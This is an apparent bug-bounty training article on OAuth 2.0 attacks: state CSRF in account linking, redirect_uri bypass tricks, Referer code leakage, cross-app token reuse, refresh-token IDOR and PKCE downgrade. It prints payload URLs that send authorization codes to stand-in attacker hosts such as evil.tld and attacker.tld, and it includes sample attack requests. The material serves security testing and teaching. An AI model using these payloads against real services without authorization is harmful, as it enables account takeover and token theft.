Intermediate levelWith account

OAuth attacks — state CSRF, redirect_uri bypass, token reuse, token IDOR

Vulnerabilities in OAuth 2.0 flows: missing state parameter, redirect_uri loose validation, cross-app token reuse, IDOR in token refresh endpoints.

Gorka El BochiMay 11, 202615 min

Quick answer

OAuth 2.0 is the most profitable target of 2026 — every implementation has its nuances and devs almost never read the whole spec. Four bugs exploit 80% of flows: state missing or not validated (CSRF in account linking → ATO), redirect_uri validated with lax suffix/regex (token leak to attacker domain), cross-app token reuse (token issued for client A valid for client B), and IDOR in /oauth/refresh (someone else's refresh renewed by the attacker). Bounties: €1,500-€15,000 depending on severity.


The authorization code flow (refresher)

ini
[Cliente]              [Authorization Server]            [Resource]
   |                            |                            |
   |  /authorize?client_id      |                            |
   |  &redirect_uri=...         |                            |
   |  &state=RANDOM             |                            |
   |  &response_type=code       |                            |
   |  ───────────────────────>  |                            |
   |                            |                            |
   |  302 redirect_uri?code=X   |                            |
   |  &state=RANDOM              |                            |
   |  <─────────────────────── |                            |
   |                            |                            |
   |  POST /token               |                            |
   |  code=X + client_secret    |                            |
   |  ───────────────────────>  |                            |
   |                            |                            |
   |  access_token + refresh    |                            |
   |  <─────────────────────── |                            |

Each step has its class of bug. Let's start with the most common.


Missing state parameter — CSRF in account linking

state is a random value the client generates, sends to /authorize, and verifies when it receives the callback. Without state, account linking is direct CSRF.

Scenario

Apps that allow "link my Google/Facebook account to my target.com account" usually have a flow:

css
1. User logged in target.com clica "Link Google"
2. target.com redirige a Google /authorize
3. Google → target.com/oauth/callback?code=X
4. target.com asocia ese code con la sesión actual del user

If target.com does not validate state, the attacker does:

css
1. Atacante inicia link de SU Google con SU cuenta target.com
2. Para en el paso 3 — captura code de Google
3. Engaña a víctima para visitar target.com/oauth/callback?code=ATACANTE
4. target.com asocia el code del atacante con la sesión de la víctima
5. Víctima ahora tiene la Google del atacante linkeada
6. Atacante logs out → "Sign in with Google" → entra como víctima

Typical bounty €3,000-€8,000 (full ATO).

Detection

http
GET /oauth/authorize?client_id=X&redirect_uri=Y&response_type=code
                                                    ← sin &state=

If the client doesn't send state → you already have the bug. If it sends it but always the same value or it's not validated in the callback → the same bug. Test: change the state in the callback, does the app still work? If yes → CSRF.


redirect_uri bypass — the gold mine

redirect_uri must be validated exactly against a whitelist. Any lax matching is exploitable.

Pattern 1 — prefix matching

javascript
if (redirectUri.startsWith("https://target.com")) accept();

Bypass:

perl
https://target.com.attacker.tld/callback
https://target.com@attacker.tld/callback
https://target.coma.attacker.tld          ← no termina con / o ?

Pattern 2 — suffix matching

javascript
if (redirectUri.endsWith("target.com/callback")) accept();

Bypass:

arduino
https://attacker.tld/target.com/callback

The attacker hosts /target.com/callback with a script that reads ?code= and exfiltrates.

Pattern 3 — subdomain wildcard too wide

javascript
const allowed = /^https:\/\/.*\.target\.com\/callback$/;

Bypass: if any subdomain is attacker-controlled (subdomain takeover, user content hosting, blog at pages.target.com/atacante/) → token leak.

Pattern 4 — open redirect in an allowed redirect_uri

redirect_uri = https://target.com/redirect?next=... — if target.com/redirect?next= allows a redirect to any URL, the code travels to your domain:

ini
redirect_uri=https://target.com/redirect?next=https://evil.tld
                ↓
authorization server redirige a target.com/redirect?next=...&code=X
                ↓
target.com/redirect redirige a evil.tld?code=X
                ↓
evil.tld recibe el code (en query string + via Referer)

Pattern 5 — path traversal in redirect_uri

bash
redirect_uri=https://target.com/callback/../../malicious
                                          ↑ normaliza a /malicious

Useful if the app mounts callbacks on sub-paths and another sub-path is user-controllable.

<!-- PAYWALL -->

Code interception via Referer

The authorization code travels in the callback's query string. If the callback page embeds third-party assets (image, font, analytics), those third parties receive the Referer with the code.

html
<!-- target.com/oauth/callback?code=ABC123 -->
<img src="https://analytics.evil.tld/pixel.gif">

analytics.evil.tld receives Referer: https://target.com/oauth/callback?code=ABC123. Typical bounty €500-€2,000 depending on impact.

Correct fix: Referrer-Policy: strict-origin or consume the code before render.


Cross-app token reuse

If two apps (app1.target.com and app2.target.com) share the same authorization server client_id, a token issued for app1 may be valid for app2 → unintended cross-app SSO.

Test

  1. Log into app1.target.com with Google.
  2. Capture the access_token.
  3. Send a request to app2.target.com/api/... with Authorization: Bearer <token>.
  4. Does it respond 200? Cross-app token reuse.

This is Critical when app1 is low-trust (consumer-facing) and app2 is high-trust (admin panel, internal tool).

Missing audience claim

OAuth JWTs should have aud (audience) — the client must verify that the aud matches its client_id. If the app doesn't verify aud, a token issued for client X is valid for client Y.

json
{
  "sub": "user42",
  "iss": "https://auth.target.com",
  "aud": "client-app1",        ← cliente debe verificar esto
  "exp": 1700000000
}

IDOR in /oauth/refresh

The refresh endpoint usually receives the refresh_token and issues a new access_token. If the endpoint does not validate that the refresh belongs to the current user:

http
POST /oauth/refresh
Authorization: Bearer ATACANTE_TOKEN
{"refresh_token": "REFRESH_DE_VICTIMA"}
                                          ← 200 OK con access_token de víctima

Source of someone else's refresh: leak via XSS, log, GraphQL introspection, source map. Pattern documented on H1 with bounties €2K-€10K.


response_type confusion — implicit flow attacks

response_type=token (implicit flow) returns the access_token directly in the URL fragment:

perl
https://app.target.com/callback#access_token=XXX&token_type=bearer

If the client accepts both code and token and the attacker can force response_type=token in a flow that normally uses code:

css
/authorize?client_id=X&redirect_uri=Y&response_type=token   ← downgrade a implicit

→ token in the fragment → exfiltrable via window.location.hash from an XSS or open redirect in the app.


PKCE bypass — public clients

PKCE protects public clients (SPA, mobile) that can't store a client_secret. The flow adds code_challenge (a hash of code_verifier) that the attacker can't regenerate.

Common bypass — optional PKCE

Some auth servers allow PKCE but don't require it. If the client sends it and the app doesn't verify it, the attacker makes a request to /token without PKCE:

http
POST /token
code=INTERCEPTADO              ← sin code_verifier
client_id=public_client_id

If the server accepts → PKCE downgrade → useful code interception.

Bypass via weak code_verifier

Some implementations accept code_verifier as an empty string. Test:

http
POST /token
code=X
code_verifier=                 ← vacío

Open redirect chain — the €3000 classic

The most profitable combination: open redirect in the target app + attacker-friendly redirect_uri.

ini
1. target.com tiene open redirect en /go?to=...
2. Atacante construye: 
   /authorize?redirect_uri=https://target.com/go&state=...
3. Auth server acepta (target.com está whitelisted)
4. Callback llega a target.com/go?code=X&state=Y
5. target.com/go redirige a evil.tld?code=X

evil.tld receives the code → gets access to the user's account.

Documented real bounty: €3,500-€8,000 depending on scope.


Hunting checklist

  • Capture the full OAuth flow (authorize + callback + token exchange).
  • Verify whether state is sent and whether it's validated (change the value in the callback).
  • Test redirect_uri with: prefix tricks (@, sub.original.com), suffix tricks, path traversal, subdomain wildcards.
  • Inspect the callback page for third-party assets → Referer leak of the code.
  • Same org has several apps? Test cross-app token reuse and aud verification.
  • Refresh endpoint — send someone else's refresh token from your session.
  • Change response_type=code to token — accepted?
  • PKCE: test the flow without code_verifier or with an empty value.
  • Open redirect in the target → chain with OAuth for a leak.
  • Account linking flow: CSRF via missing state → direct ATO.

Practice state CSRF, redirect_uri bypass, code interception and PKCE downgrade in OAuth labs.

Practice this in a lab

Oauth Attacks State Csrf Redirect

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

El bypass de redirect_uri usando suffix matching que afecta a 30+ apps top según mi research interno — pattern detectable en 1 request.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy